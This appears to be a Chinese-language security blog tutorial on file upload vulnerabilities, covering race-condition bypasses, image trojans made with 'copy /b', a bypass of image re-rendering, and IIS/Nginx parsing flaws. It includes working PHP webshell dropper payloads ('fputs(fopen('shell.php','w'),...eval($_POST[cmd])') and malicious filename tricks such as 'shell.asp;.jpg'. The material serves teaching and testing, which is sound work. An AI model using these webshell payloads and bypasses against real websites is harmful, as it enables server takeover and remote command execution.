文件上传漏洞(二)之常见漏洞

前言: 非法用户可以利用上传的恶意脚本文件控制整个网站,甚至控制服务器,这个恶意的脚本文件,又被称为webshell,也就是网页的后门,webshell具有很强大的功能,比如查看服务器目录,服务器文件,执行系统命令等等。


一.条件竞争绕过

竞争条件:服务端首先是允许用户上传任意类型的文件,上传过后再去检查文件,如果文件存在恶意的内容,那么就会执行删除操作,可以利用这个时间差来完成攻击

准备一个PHP文件,代码如下:

<?php fputs(fopen('shell.php','w'),'<?php eval($_post[cmd]);>');?>

 析:生成新文件shell.php,内容为<?php eval($_post[cmd]);>
1.上传上文的PHP文件,用Burp抓包后,发送到Intruder模块,设置相关参数之后,点击attack
2.再用浏览器去访问靶机上传目录下的上传文件,用Burp抓包,发送到Intruder模块,设置了相关参数后,点击attack
3.最后发现上传目录生成了shell.php

简述:不断的一直发送PHP文件,再利用系统删除文件可能会有一点点延迟的特点,不停的访问上传的文件,就有可能在目录中生成新的木马文件,即使删除了上传文件,但是新的木马文件已经生成


二.图片木马制作

@在对应的图片目录下打开cmd,利用copy功能,将两张图片的编码合起来(图片可在"010Editor"这个软件打开,可查看木马源码,也可加上木马),虽然显示的图片还是1.png的样子,但是里面包含了php的文件内容,可写入一句话木马

 copy /b 1.png+2.php 3.png

三.图片的二次渲染绕过

有些系统在图片上传的时候,会对图片进行二次渲染,即重新生成图片,对可能包含在图片里的木马等等去掉

1.JPG图片
 (1).先将JPG图片上传后,在下载来保存在本地
 (2).把JPG照片和jpg_payload.php文件(一个脚本,把木马重新植入到图片中)放入带有PHP环境的文件夹
 (3).通过cmd执行命令php jpg_payload.php xx.jpg
 (4).就会生成一个新的照片,上传后,用文件包含读取图片中的代码
2.GIF图片
 (1).将GIF文件上传后,下载到本地
 (2).用010Editor将上传前和上传后的GIF图片进行对比,查找他们没有进行二次渲染的部分
 (3).在没有二次渲染的部分加入代码,将加入代码的GIF图片再次上传,用文件包含执行gif图片中的代码


四.解析漏洞

1.IIS5.X/6.0 解析漏洞
 (1)目录解析:/xx.asp/xx.jpg
 (2)在网站下建立文件夹的名字为.asp.asa的文件夹,其目录的任何扩展名的文件都会被IIS当作asp文件来执行,如:创建目录sp1.asp,那么http://www.xxx.com/sp.asp/1.jpg将被当作asp文件来解析
 (3)文件解析:shell.asp;.jpg
 (4)在IIS6.0分号后面的不被解析, 也就是说shell.asp;.jpg会被服务器看成shell.asp
 (5)还有IIS6.0默认的可执行文件除了asp还包含了三种/shell.ase/shell.cer/shell.cdx
2.IIS7.0/IIS7.5/Ngnix<8.03畸形解析漏洞
 (1)版本要求:IIS7.0/IIS7.5/Nginx<8.03
 (2)利用方法:在默认Fast-CGI开启下,攻击者上传一个名字为shell.jpg,内容为:<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd]);?>')?>的文件,然后访问shell.jpg/.php,就会生成一句话木马shell.php。其实跟ngnix无关,这个漏洞是出现自php-cgi的漏洞


  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值